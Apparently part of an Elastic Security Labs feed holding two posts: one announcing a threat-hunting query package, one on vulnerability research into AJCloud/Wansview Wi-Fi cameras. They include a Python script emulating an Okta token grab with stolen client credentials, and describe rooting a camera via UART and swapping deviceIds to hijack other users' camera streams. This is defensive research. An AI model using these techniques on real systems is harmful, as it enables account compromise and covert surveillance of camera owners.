<p>The idea is that the rules and hunt queries will supplement each other in many ways. Most  hunts also serve as great pivot points once an alert has triggered, as a powerful means to ascertain related details and paint a full picture. They are just as useful when it comes to triaging as proactively hunting.</p>
<p>Additionally, we often find ourselves writing resilient and robust logic that just doesn’t meet the criteria for a rule, whether it is too noisy or not specific enough. This will serve as an additional means to preserve the value of these research outcomes in the form of these queries.</p>
<h2 id="whatweareproviding">What We Are Providing</h2>
<p>The new Hunting package provides a diverse range of hunting queries targeting all the same  environments as our rules do, and potentially even more, including:</p>
<ul>
<li>Endpoints (Windows, Linux, macOS)</li>
<li>Cloud (CSPs, SaaS providers, etc.)</li>
<li>Network</li>
<li>Large Language Models (LLM)</li>
<li>Any other Elastic <a href="https://www.elastic.co/integrations">integration</a> or datasource that adds value</li>
</ul>
<p>These queries are crafted by our security experts to help you gather initial data that is required to test your hypothesis during your hunts. These queries also include names and descriptions that may be a starting point for your hunting efforts as well. All of this valuable information is then stored in an index file (both YAML and Markdown) for management, ease-of-use and centralizing our collection of hunting queries.</p>
<h3 id="huntingpackage">Hunting Package</h3>
<p>The Hunting package has also been made to be its own module within Detection Rules with a few simple commands for easy management and searching throughout the catalogue of hunting queries. Our goal is not to provide an out-of-the-box hunting tool, but rather a foundation for programmatically managing and eventually leveraging these hunting queries. </p>
<p>Existing Commands:</p>
<p><strong>Generate Markdown</strong> - Load TOML files or path of choice and convert to Markdown representation in respective locations.
<img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt917b6da802e4b282/6a7d8aeede2315276dfd4f41/image6.png" alt="" /></p>
<p><strong>Refresh Index</strong> - Refresh indexes from the collection of queries, both YAML and Markdown.
<img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltc2646a79fd779ff8/6a7d8af1eab5be43312079ef/image4.png" alt="" /></p>
<p><strong>Search</strong> - Search for hunting queries based on MITRE tactic, technique or subtechnique IDs. Also includes the ability to search per data source.
<img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt4fd3507052bf9d47/6a7d8af42f00b25667efbff9/image5.png" alt="" /></p>
<p><strong>Run Query</strong> - Run query of choice against a particular stack to identify hits (requires pre-auth). Generates a search link for easy pivot.
<img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt7e731711cad2b5c9/6a7d8af73cab1c50300e1b1f/image8.png" alt="" /></p>
<p><strong>View Hunt</strong>- View a hunting file in TOML or JSON format.
<img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt867662b5480681e4/6a7d8afbe02fac6f635d3610/image7.png" alt="" /></p>
<p><strong>Hunt Summary</strong>- Generate count statistics based on breakdown of integration, platform, or language
<img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt013e87eb2d46827f/6a7d8afe6c6eac5ebcf1148d/image2.png" alt="" /></p>
<h2 id="benefitsofthesehuntqueries">Benefits of these Hunt Queries</h2>
<p>Each hunting query will be saved in its respective TOML file for programmatic use, but also have a replicated markdown file that serves as a quick reference for manual tasks or review. We understand that while automation is crucial to hunting maturity, often hunters may want a quick and easy copy-paste job to reveal events of interest. Our collection of hunt queries and CLI options offers several advantages to both novice and experienced threat hunters. Each query in the library is designed to serve as a powerful tool for detecting hidden threats, as well as offering additional layers of investigation during incident response.</p>
<ul>
<li>Programmatic and Manual Flexibility: Each query is structured in a standardized TOML format for programmatic use, but also offers a Markdown version for those who prefer manual interaction. </li>
<li>Scalable queries: Our hunt queries are designed with scalability in mind, leveraging the power of Elastic’s versatile and latest query languages such as ES|QL. This scalability ensures that you can continuously adapt your hunting efforts as your organization’s infrastructure grows, maintaining high levels of visibility and security.</li>
<li>Integration with Elastic’s Product: These queries integrate with the Elastic Stack and our automation enables you to test quickly, enabling you to pivot through Elastic’s Security UI for deeper analysis.</li>
<li>Diverse Query Types Available: Out hunt queries support a wide variety of query languages, including KQL, EQL, ES|QL, OsQuery, and YARA, making them adaptable across different data sources and environments. Whether hunting across endpoints, cloud environments, or specific integrations like Okta or LLMs, users can leverage the right language for their unique needs.</li>
<li>Extended Coverage for Elastic Prebuilt Rules: While Elastic’s prebuilt detection rules offer robust coverage, there are always scenarios where vendor detection logic may not fully meet operational needs due to the specific environment or nature of the threat. These hunting queries help to fill in those gaps by offering broader and more nuanced coveraged, particularly for behaviors that don’t nearly fit into rule-based detections. </li>
<li>Stepping stone for hunt initialization or pivoting: These queries serve as an initial approach to kickstart investigations or pivot from initial findings. Whether used proactively to identify potential threats or reactively to expand upon triggered alerts, these queries can provide additional context and insights based on threat hunter hypothesis and workflows.</li>
<li>MITRE ATT&amp;CK Alignment: Every hunt query includes MITRE ATT&amp;CK mappings to provide contextual insight and help prioritize the investigation of threats according to threat behaviors.</li>
<li>Community and Maintenance: This hunting module lives within the broader Elastic Detection Rules repository, ensuring continual updates alongside our prebuilt rules. Community contributions also enable our users to collaborate and expand unique ways to hunt.</li>
</ul>
<p>As we understand the fast-paced nature of hunting and need for automation, we have included searching capabilities and a run option to quickly identify if you have matching results from any hunting queries in this library.</p>
<h2 id="detailsofeachhuntinganalytic">Details of Each Hunting Analytic</h2>
<p>Each hunting search query in our repository includes the following details to maximize its effectiveness and ease of use:</p>
<ul>
<li><strong>Data Source or Integration</strong>: The origin of the data utilized in the hunt.</li>
<li><strong>Name</strong>: A descriptive title for the hunting query.</li>
<li><strong>Hypothesis</strong>: The underlying assumption or threat scenario the hunt aims to investigate. This is representated as the description.</li>
<li><strong>Query(s)</strong>: Provided in one of several formats, including ES|QL, EQL, KQL, or OsQuery.</li>
<li><strong>Notes</strong>: Additional information on how to pivot within the data, key indicators to watch for, and other valuable insights.</li>
<li><strong>References</strong>: Links to relevant resources and documentation that support the hunt.</li>
<li><strong>Mapping to MITRE ATT&amp;CK</strong>: How the hunt correlates to known tactics, techniques, and procedures in the MITRE ATT&amp;CK framework.</li>
</ul>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt7f144d7f4aab8f21/6a7d8b02fc63ab68b464a0c8/image9.png" alt="" /></p>
<p>For those who prefer a more hands-on approach, we also provide TOML files for programmatic consumption. Additionally, we offer an easy converter to Markdown for users who prefer to manually copy and paste the hunts into their systems.</p>
<h3 id="huntingquerycreationexample">Hunting Query Creation Example:</h3>
<p>In the following example, we will explore a basic hunting cycle for the purpose of creating a new hunting query that we want to use in later hunting cycles. Note that this is an oversimplified hunting cycle that may require several more steps in a real-world application.</p>
<p><strong>Hypothesis</strong>: We assume that a threat adversary (TA) is targeting identity providers (IdPs), specifically Okta, by compromising cloud accounts by identifying runtime instances in CI/CD pipelines that use client credentials for authentication with Okta’s API. Their goal is to identify unsecure credentials, take these and obtain an access token whose assumed credentials are tied to an Okta administrator.</p>
<p><strong>Evidence</strong>: We suspect that in order to identify evidence of this, we need Okta system logs that report API activity, specifically any public client app sending access token requests where the grant type provided are client credentials. We also suspect that because the TA is unaware of the mapped OAuth scopes for this application, that when the access token request is sent, it may fail due to the incorrect OAuth scopes being explicitly sent. We also know that demonstrating proof-of-possession (DPoP) is not required for our client applications during authentication workflow because doing so would be disruptive to operations so we prioritize operability over security.</p>
<p>Below is the python code used to emulate the behavior of attempting to get an access token with stolen client credentials where the scope is <code>okta.trustedOrigins.manage</code> so the actor can add a new cross-origins (CORS) policy and route client authentication through their own server.</p>
<pre><code>import requests

okta_domain = "TARGET_DOMAIN"
client_id = "STOLEN_CLIENT_ID"
client_secret = "STOLEN_CLIENT_CREDENTIALS"

# Prepare the request
auth_url = f"{okta_domain}/oauth2/default/v1/token"
auth_data = {
    "grant_type": "client_credentials",
    "scope": "okta.trustedOrigins.manage" 
}
auth_headers = {
    "Accept": "application/json",
    "Content-Type": "application/x-www-form-urlencoded",
    "Authorization": f"Basic {client_id}:{client_secret}"
}
# Make the request
response = requests.post(auth_url, headers=auth_headers, data=auth_data)

# Handle the response
if response.ok:
    token = response.json().get("access_token")
    print(f"Token: {token}")
else:
    print(f"Error: {response.text}")
</code></pre>
<p>Following this behavior, we formulate a query as such for hunting where we filter out some known client applications like DataDog and Elastic’s Okta integrations.</p>
<pre><code>from logs-okta.system*
| where @timestamp &gt; NOW() - 7 day
| where
    event.dataset == "okta.system"

    // filter on failed access token grant requests where source is a public client app
    and event.action == "app.oauth2.as.token.grant"
    and okta.actor.type == "PublicClientApp"
    and okta.outcome.result == "FAILURE"

    // filter out known Elastic and Datadog actors
    and not (
        okta.actor.display_name LIKE "Elastic%"
        or okta.actor.display_name LIKE "Datadog%"
    )

    // filter for scopes that are not implicitly granted
    and okta.outcome.reason == "no_matching_scope"
</code></pre>
<p>As shown below, we identify matching results and begin to pivot and dive deeper into this investigation, eventually involving incident response (IR) and escalating appropriately. </p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt0beface6912edf51/6a7d8b043ce8e20f2dcf2746/image10.png" alt="" /></p>
<p>During our after actions report (AAR), we take note of the query that helped identify these compromised credentials and decide to preserve this as a hunting query in our forked Detection Rules repository. It doesn’t quite make sense to create a detection rule based on the fidelity of this and knowing the constant development work we do with custom applications that interact with the Okta APIs, therefore we reserve it as a hunting query.</p>
<p>Creating a new hunting query TOML file in the <code>hunting/okta/queries</code> package, we add the following information:</p>
<pre><code>author = "EvilC0rp Defenders"
description = """Long Description of Hunt Intentions"""
integration = ["okta"]
uuid = "0b936024-71d9-11ef-a9be-f661ea17fbcc"
name = "Failed OAuth Access Token Retrieval via Public Client App"
language = ["ES|QL"]
license = "Apache License 2.0"
notes = [Array of useful notes from our investigation]
mitre = ['T1550.001']
query = [Our query as shown above]
</code></pre>
<p>With the file saved we run <code>python -m hunting generate-markdown FILEPATH</code> to generate the markdown version of it in <code>hunting/okta/docs/</code>.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt2425ce71c14b7b91/6a7d8b0742a1171acd95924f/image1.png" alt="" /></p>
<p>Once saved, we can view our new hunting content by using the <code>view-rule</code> command or search for it by running the <code>search</code> command, specifying Okta as the data source and <a href="https://attack.mitre.org/techniques/T1550/001/">T1550.001</a> as the subtechnique we are looking for.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt867662b5480681e4/6a7d8afbe02fac6f635d3610/image7.png" alt="" /></p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt4fd3507052bf9d47/6a7d8af42f00b25667efbff9/image5.png" alt="" /></p>
<p>Last but not least, we can check that the query runs successfully by using the <code>run-query</code> command as long as we save a <code>.detection-rules-cfg-yaml</code> file with our Elasticsearch authentication details, which will tell us if we have matching results or not.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt7e731711cad2b5c9/6a7d8af73cab1c50300e1b1f/image8.png" alt="" /></p>
<p>Now we can refresh our hunting indexes with the <code>refresh-index</code> command and ensure that our markdown file has been created.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltc35f515c53bdea13/6a7d8b0cde23156ddbfd4f45/image11.png" alt="" /></p>
<h2 id="howweplantoexpand">How We Plan to Expand</h2>
<p>Our aim is to continually enhance the Hunting package with additional queries, covering an even wider array of threat scenarios. We will update this resource based on:</p>
<ul>
<li><strong>Emerging Threats</strong>: Developing new queries as new types of cyber threats arise.</li>
<li><strong>Community Feedbac</strong>k: Incorporating suggestions and improvements proposed by our community.</li>
<li><strong>Fill Gaps Where Traditional alerting Fails</strong>: While we understand the power of our advanced SIEM and EDR, we also understand how some situations favor hunting instead.</li>
<li><strong>Longevity and Maintenance</strong>: Our hunting package lives within the very same repository we actively manage our out-of-the-box (OOTB) prebuilt detection rules for the Elastic SIEM. As a result, we plan to routinely add and update our hunting resources.</li>
<li><strong>New Features</strong>: Develop new features and commands to aid users with the repository of their hunting efforts.</li>
</ul>
<p>Our expansion would not be complete without sharing to the rest of the community in an effort to provide value wherever possible. The adoption of these resources or even paradigms surrounding threat scenarios is an important effort by our team to help hunting efforts.</p>
<p>Lastly, we acknowledge and applaud the existing hunting efforts done or in-progress by our industry peers and community. We also acknowledge that maintaining such a package of hunting analytics and/or queries requires consistency and careful planning. Thus this package will receive continued support and additional hunting queries added over time, often aligning with our detection research efforts or community submissions!</p>
<h2 id="getinvolved">Get Involved</h2>
<p>Explore the Hunting resources, utilize the queries and python package, participate in our community discussion forums to share your experiences and contribute to the evolution of this resource. Your feedback is crucial for us to refine and expand our offerings.</p>
<ul>
<li><a href="https://elasticstack.slack.com/archives/C016E72DWDS">Detection Rules Community Slack Channel</a></li>
<li>Hunting “<a href="https://github.com/elastic/detection-rules/tree/main/hunting">Getting Started</a>” Doc</li>
<li><a href="https://twitter.com/elasticseclabs">Elastic Security Labs</a> on X</li>
</ul>
<h2 id="conclusion">Conclusion</h2>
<p>With the expansion of these hunting resources, Elastic reaffirms its commitment to advancing cybersecurity defenses. This resource is designed for both experienced threat hunters and those new to the field, providing the tools needed to detect and mitigate sophisticated cyber threats effectively.</p>
<p>Stay tuned for more updates, and happy hunting!</p>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/blog/elevate-your-threat-hunting</link>
    <guid isPermaLink="false">elevate-your-threat-hunting</guid>
    <category><![CDATA[Threat Hunting]]></category>
    <dc:creator><![CDATA[Terrance DeJesus,Mika Ayenson,Samir Bousseaden,Justin Ibarra]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltd1b2ab4e87ff21a7/6a7d7fbf05b7b58231188b18/elevate-your-threat-hunting.jpg" length="0" type="image/jpeg"/>
    <pubDate>Fri, 18 Oct 2024 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[Storm on the Horizon: Inside the AJCloud IoT Ecosystem]]></title>
    <description><![CDATA[Wi-Fi cameras are popular due to their affordability and convenience but often have security vulnerabilities that can be exploited.]]></description>
    <content:encoded><![CDATA[<h2 id="introduction">Introduction</h2>
<p>Wi-Fi cameras are some of the most common IoT devices found in households, businesses, and other public spaces. They tend to be quite affordable and provide users with easy access to a live video stream on their mobile device from anywhere on the planet. As is often the case with IoT devices, security tends to be overlooked in these cameras, leaving them open to critical vulnerabilities. If exploited, these vulnerabilities can lead to devastating effects on the cameras and the networks within which they’re deployed. They can lead to the compromise of the sensitive PII of their users.</p>
<p>A recent <a href="https://www.youtube.com/watch?v=qoojLdKJvkc">Elastic ON Week</a> afforded us the opportunity to explore the attack surface of these types of devices to gain a deeper understanding of how they are being compromised. We focused primarily on performing vulnerability research on the <a href="https://www.amazon.com/Wireless-Security-Wansview-Detection-Compatible/dp/B07QKXM2D3?th=1">Wansview Q5</a> (along with the nearly identical <a href="https://www.wansview.com/q6">Q6</a>), one of the more popular and affordable cameras sold on Amazon. Wansview is a provider of security products based in Shenzhen, China, and one of Amazon's more prominent distributors of Wi-Fi cameras.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt1c02c595a3c47ff4/6a7d849ce02fac985f5d3558/image12.png" alt="" /></p>
<p>The Q5 offers the same basic feature set seen in most cameras:</p>
<ul>
<li>Pan / tilt / zoom</li>
<li>Night vision</li>
<li>Two-way audio</li>
<li>Video recording to SD card</li>
<li>Integration with Smart Home AI assistants (e.g. Alexa)</li>
<li>ONVIF for interoperability with other security products</li>
<li>RTSP for direct access to video feed within LAN</li>
<li>Automated firmware updates from the cloud</li>
<li>Remote technical support</li>
<li>Shared device access with other accounts</li>
<li>Optional monthly subscription for cloud storage and motion detection</li>
</ul>
<p>Like most other Wi-Fi cameras, these models require an active connection to their vendor cloud infrastructure for basic operation; without access to the Internet, they simply will not operate. Before a camera can go live, it must be paired to a <a href="https://www.youtube.com/watch?v=UiF7xKnXfC0">registered user account</a> via Wansview’s official mobile app and a standard <a href="https://youtu.be/PLMNKoO1214?si=G8sYxT3EagE3u_cw">QR code-based setup process</a>. Once this process is complete, the camera will be fully online and operational.</p>
<h2 id="ajcloudabriefintroduction">AJCloud: A Brief Introduction</h2>
<p>Though Wansview has been in operation <a href="https://www.wansview.com/about_company">since 2009</a>, at the moment they primarily appear to be a reseller of camera products built by a separate company based in Nanjing, China: <a href="https://www.ajcloud.net">AJCloud</a>.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltd2f75c84ec317ffb/6a7d849e448e4ef0225bdb8e/image19.png" alt="" /></p>
<p>AJCloud provides vendors with access to manufactured security devices, the necessary firmware, mobile and desktop user applications, the cloud management platform, and services that connect everything together. Since AJCloud was founded in 2018, they have partnered with several vendors, both large and small, including but not limited to the following:</p>
<ul>
<li><a href="https://www.wansview.com">Wansview</a></li>
<li><a href="https://cinnado.com">Cinnado</a></li>
<li><a href="https://www.amazon.com/stores/GALAYOU/page/789538ED-82AC-43AF-B676-6622577A1982?ref_=ast_bln&amp;store_ref=bl_ast_dp_brandLogo_sto">Galayou</a></li>
<li><a href="https://www.faleemi.com">Faleemi</a></li>
<li><a href="https://www.philips.com">Philips</a></li>
<li><a href="https://www.septekon.com">Septekon</a></li>
<li><a href="https://www.smarteyegroup.com">Smarteye</a></li>
<li><a href="http://www.homeguardworld.com">Homeguard</a></li>
<li><a href="https://ipuppee.com">iPupPee</a></li>
</ul>
<p>A cursory review of mobile and desktop applications developed and published by AJCloud on <a href="https://play.google.com/store/apps/developer?id=AJCLOUD+INTERNATIONAL+INC.&amp;hl=en_US">Google Play</a>, <a href="https://apps.apple.com/us/developer/ajcloud-labs-inc/id1396464400">Apple’s App Store</a>, and the <a href="https://apps.microsoft.com/search/publisher?name=%E5%8D%97%E4%BA%AC%E5%AE%89%E5%B1%85%E4%BA%91%E4%BF%A1%E6%81%AF%E6%8A%80%E6%9C%AF%E6%9C%89%E9%99%90%E5%85%AC%E5%8F%B8&amp;hl=en-us&amp;gl=US">Microsoft Store</a> reveals their ties to each of these vendors. Besides superficial company branding, these applications are identical in form and function, and they all require connectivity with the AJCloud management platform.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt7cf074dc54099e1a/6a7d84a2ead8ecf19eba7b84/image26.png" alt="" /></p>
<p>As for the cameras, it is apparent that these vendors are selling similar models with only minor modifications to the camera housing and underlying hardware.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltbe7afe3eba932789/6a7d84a5dd26d21adf2a729f/image16.png" alt="" /></p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltfd785a9c026dab2a/6a7d84a842a117052f959175/image9.png" alt="" /></p>
<p>The resemblance between the <a href="https://www.faleemi.com/product/fsc886/">Faleemi 886</a> and the <a href="https://www.youtube.com/watch?v=X5P5fGhRxAs">Wansview Q6 (1080p)</a> is obvious</p>
<p>Reusing hardware manufacturing and software development resources likely helps to control costs and simplify logistics for AJCloud and its resellers. However, this streamlining of assets also means that security vulnerabilities discovered in one camera model would likely permeate all products associated with AJCloud.</p>
<p>Despite its critical role in bringing these devices to consumers, AJCloud has a relatively low public profile. However, IPVM researchers recently <a href="https://ipvm.com/reports/ajcloud-wansview-leak">published</a> research on a significant vulnerability (which has since been resolved) in AJCloud’s GitLab repository. This vulnerability would allow any user to access source code, credentials, certificates, and other sensitive data without requiring authentication.</p>
<p>Though total sales figures are difficult to derive for Wansview and other vendors in the Wi-Fi camera space, IPVM estimated that at least one million devices were connected to the AJCloud platform at the time of publication of their report. As camera sales <a href="https://www.statista.com/forecasts/1301193/worldwide-smart-security-camera-homes">continue to soar</a> into the hundreds of millions, it is safe to assume that more of AJCloud’s devices will be connected in homes across the world for years to come.</p>
<h2 id="initialvulnerabilityresearchefforts">Initial Vulnerability Research Efforts</h2>
<p>To gain a deeper understanding of the security posture of the Wansview Q5, we attacked it from multiple angles:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt772cbb92c063e3dc/6a7d84aa448e4e830b5bdb92/image23.png" alt="" /></p>
<p>At first, our efforts were primarily focused on active and passive network reconnaissance of the camera and the <a href="https://play.google.com/store/apps/details?id=net.ajcloud.wansviewplus&amp;hl=en_US">Android version</a> of Wansview Cloud, Wansview’s official mobile app. We scanned for open ports, eavesdropped on network communications through man-in-the-middle (MitM) attacks, attempted to coerce unpredictable behavior from the cameras through intentional misconfiguration in the app, and disrupted the operation of the cameras by abusing the QR code format and physically interacting with the camera. The devices and their infrastructure were surprisingly resilient to these types of surface-level attacks, and our initial efforts yielded few noteworthy successes.</p>
<p>We were particularly surprised by our lack of success intercepting network communications on both the camera and the app. We repeatedly encountered robust security features (e.g., certificate pinning, app and OS version restrictions, and properly secured TLS connections) that disrupted our attempts.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt41b9049586019ccc/6a7d84adde2315670bfd4e9f/image13.png" alt="" /></p>
<p>Reverse engineering tools allowed us to analyze the APK much more closely, though the complexity of the code obfuscation observed within the decompiled Java source code would require an extended length of time to fully piece together.</p>
<p>Our limited initial success would require us to explore further options that would provide us with more nuanced insight into the Q5 and how it operates.</p>
<h2 id="initialhardwarehacking">Initial Hardware Hacking</h2>
<p>To gain more insight into how the camera functioned, we decided to take a closer look at the camera firmware. While some firmware packages are available online, we wanted to take a look at the code directly and be able to monitor it and the resulting logs while the camera was running. To do this, we first took a look at the hardware diagram for the system on a chip (SoC) to see if there were any hardware avenues we might be able to leverage. The Wansview Q5 uses a <a href="https://www.cnx-software.com/2020/04/26/ingenic-t31-ai-video-processor-combines-xburst-1-mips-and-risc-v-lite-cores/">Ingenic Xburst T31 SoC</a>, its system block diagram is depicted below.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt36ad1d97e9cdc414/6a7d84b04c4bfb55e6cca890/image4.png" alt="" /></p>
<p>One avenue that stood out to us was the I2Cx3/UARTx2/SPIx2 SPI I/O block. If accessible, these I/O blocks often provide log output interfaces and/or shell interfaces, which can be used for debugging and interacting with the SoC. Appearing promising, we then performed a hardware teardown of the camera and found what appeared to be a UART serial interface to the SoC, shown below.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt1483e1fe1de20cc2/6a7d84b4fc63ab2d3064a006/image15.png" alt="" /></p>
<p>Next, we connected a logic analyzer to see what protocol was being used over these pins, and when decoded, the signal was indeed UART.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltd530c14b01a8d07f/6a7d84b773d9bd5ad429ac60/image33.png" alt="" /></p>
<p>Now that we can access an exposed UART interface, we then looked to establish a shell connection to the SoC via UART. There are a number of different software mechanisms to do this, but for our purposes we used the Unix utility <code>screen</code> with the detected baud rate from the logic analyzer. </p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt4c3b0ef2948fbcbd/6a7d84ba4c4bfb05ebcca898/image11.png" alt="" /></p>
<p>Upon opening and monitoring the boot sequence, we discovered that secure boot was not enabled despite being supported by the SoC. We then proceeded to modify the configuration to boot into single user mode providing a root shell for us to use to examine the firmware before the initialization processes were performed, shown below. </p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltdc2eeebb7e73de8f/6a7d84beead8ec6b45ba7b8e/image29.png" alt="" /></p>
<p>Once in single-user mode, we were able to pull the firmware files for static analysis using the <code>binwalk</code> utility, as shown below. </p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltde548c66fda0ec7a/6a7d84c1c2e91496f3013cf5/image32.png" alt="" /></p>
<p>At this stage, the filesystem is generally read-only; however, we wanted to be able to make edits and instantiate only specific parts of the firmware initialization as needed, so we did some quick setups for additional persistence beyond single-user mode access. This can be done in a number of ways, but there are two primary methods one may wish to use. Generally speaking, in both approaches, one will want to make as few modifications to the existing configuration as possible. This is generally preferred when running dynamic analysis if possible, as we have had the least impact on the run time environment. One method we used for this approach is to make a <code>tmpfs</code> partition for read/write access in memory and mount it via <code>fstab</code>. In our case <code>fstab</code> was already considered in such a way that supported this, and as such made it a very minimal change. See the commands and results for this approach below.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt0ed9d0013cf35fe6/6a7d84c5227b1c590b595864/image17.png" alt="" /></p>
<p>Another method is to pull existing user credentials and attempt to use these to log in. This approach was also successful. The password hash for the root user can be found in the <code>etc/passwd</code> file and decrypted using a tool like John the Ripper. In our above examples, we were transferring data and files entirely over the serial connection. The camera also has an available SD card slot that can be mounted and used to transfer files. Going forward, we will be using the SD card or local network for moving files as the bandwidth makes for faster and easier transfer; however, serial can still be used for all communications for the hardware setup and debugging if preferred.</p>
<p>Now, we have root level access to the camera providing access to the firmware and dmesg logs while the software is running. Using both the firmware and logs as reference, we then looked to further examine the user interfaces for the camera to see if there was a good entry point we could use to gain further insight.</p>
<h2 id="wansviewcloudforwindows">Wansview Cloud for Windows</h2>
<p>After the mobile apps proved to be more secure than we had originally anticipated, we shifted our focus to an older version of the Wansview Cloud application built for Windows 7. This app, which is still <a href="https://www.wansview.com/support_download">available for download</a>, would provide us with direct insight into the network communications involved with cameras connected to the AJCloud platform.</p>
<p>Thanks in large part to overindulgent debug logging on behalf of the developers, the Windows app spills out its secrets with reckless abandon seldom seen in commercial software. The first sign that things are amiss is that user login credentials are logged in cleartext.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt54e279ff3e88a04c/6a7d84c842a117acb9959183/image24.png" alt="" /></p>
<p>Reverse engineering the main executable and DLLs (which are not packed, unlike the Wansview Cloud APK) was expedited thanks to the frequent use of verbose log messages containing unique strings. Identifying references to specific files and lines within its underlying codebase helped us to quickly map out core components of the application and establish the high level control flow.</p>
<p>Network communications, which were difficult for us to intercept on Android, are still transmitted over TLS, though they are conveniently logged to disk in cleartext. With full access to all HTTP POST request and response data (which is packed into JSON objects), there was no further need to pursue MitM attacks on the application side. </p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt290bda8b497e6fbd/6a7d84ca3ce8e23cfdcf26c6/image8.png" alt="POST request to https://sdc-portal.ajcloud.net/api/v1/app-startup" title="POST request to https://sdc-portal.ajcloud.net/api/v1/app-startup" /></p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt151b86e050483ad5/6a7d84cd6693f8386a6610e0/image25.png" alt="POST response from https://sdc-portal.ajcloud.net/api/v1/app-startup" title="POST response from https://sdc-portal.ajcloud.net/api/v1/app-startup" /></p>
<p>Within the POST responses, we found sensitive metadata including links to publicly accessible screen captures along with information about the camera’s location, network configuration, and its firmware version.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltdcf26635969a7498/6a7d84d06c6eac6709f113b9/image1.jpg" alt="https://cam-snapshot-use1.oss-us-east-1.aliyuncs.com/f838ee39636aba95db7170aa321828a1/snapshot.jpeg" title="https://cam-snapshot-use1.oss-us-east-1.aliyuncs.com/f838ee39636aba95db7170aa321828a1/snapshot.jpeg" /></p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blte2d01e5fa5010a02/6a7d84d205b7b5b9d1188ba9/image10.png" alt="POST response from https://cam-gw-us.ajcloud.net/api/v1/fetch-infos" title="POST response from https://cam-gw-us.ajcloud.net/api/v1/fetch-infos" /></p>
<p>After documenting all POST requests and responses found within the log data, we began to experiment with manipulating different fields in each request in an attempt to access data not associated with our camera or account. We would eventually utilize a debugger to change the deviceId to that of a target camera not paired with the current logged in account. A camera deviceId doubles as its serial number and can be found printed on a sticker label located on either the back or bottom of a camera.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt7dbc5bcbda829cdd/6a7d84d677b03444493fc6a7/image2.png" alt="" /></p>
<p>We found the most appropriate target for our attack in a code section where the deviceId is first transmitted in a POST request to <a href="https://sdc-us.ajcloud.net/api/v1/dev-config">https://sdc-us.ajcloud.net/api/v1/dev-config</a>:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltb108b508af0e0caf/6a7d84d93cab1c86830e1a54/image31.png" alt="" /></p>
<p>Our plan was to set a breakpoint at the instruction highlighted in the screenshot above, swap out the deviceId within memory, and then allow the app to resume execution.</p>
<p>Amazingly enough, this naive approach not only worked to retrieve sensitive data stored in the AJCloud platform associated with the target camera and the account it is tied to, but it also connected us to the camera itself. This allowed us to access its video and audio streams and remotely control it through the app as if it were our own camera.</p>
<p>Through exploiting this vulnerability and testing against multiple models from various vendors, we determined that all devices connected to the AJCloud platform could be remotely accessed and controlled in this manner. We wrote a <a href="https://github.com/elastic/camera-hacks/blob/main/windows/win_exploit.py">PoC exploit script</a> to automate this process and effectively demonstrate the ease with which this access control vulnerability within AJCloud’s infrastructure can be trivially exploited.</p>
<h2 id="exploringthenetworkcommunications">Exploring the network communications</h2>
<p>Though we were able to build and reliably trigger an exploit against a critical vulnerability in the AJCloud platform, we would need to dig further in order to gain a better understanding of the inner workings of the apps, the camera firmware, and the cloud infrastructure.</p>
<p>As we explored beyond the POST requests and responses observed throughout the sign-in process, we noticed a plethora of UDP requests and responses from a wide assortment of IPs. Little in the way of discernible plaintext data could be found throughout these communications, and the target UDP port numbers for the outbound requests seemed to vary. Further investigation would later reveal that this UDP activity was indicative of PPPP, an IoT peer-to-peer (P2P) protocol that was analyzed and demonstrated extensively by Paul Marrapesse during his <a href="https://youtu.be/Z_gKEF76oMM?si=cqCBU6iPxCyEm-xm">presentation at DEF CON 28</a>. We would later conclude that the way in which we exploited the vulnerability we discovered was facilitated through modified P2P requests, which led us to further explore the critical role that P2P plays in the AJCloud platform.</p>
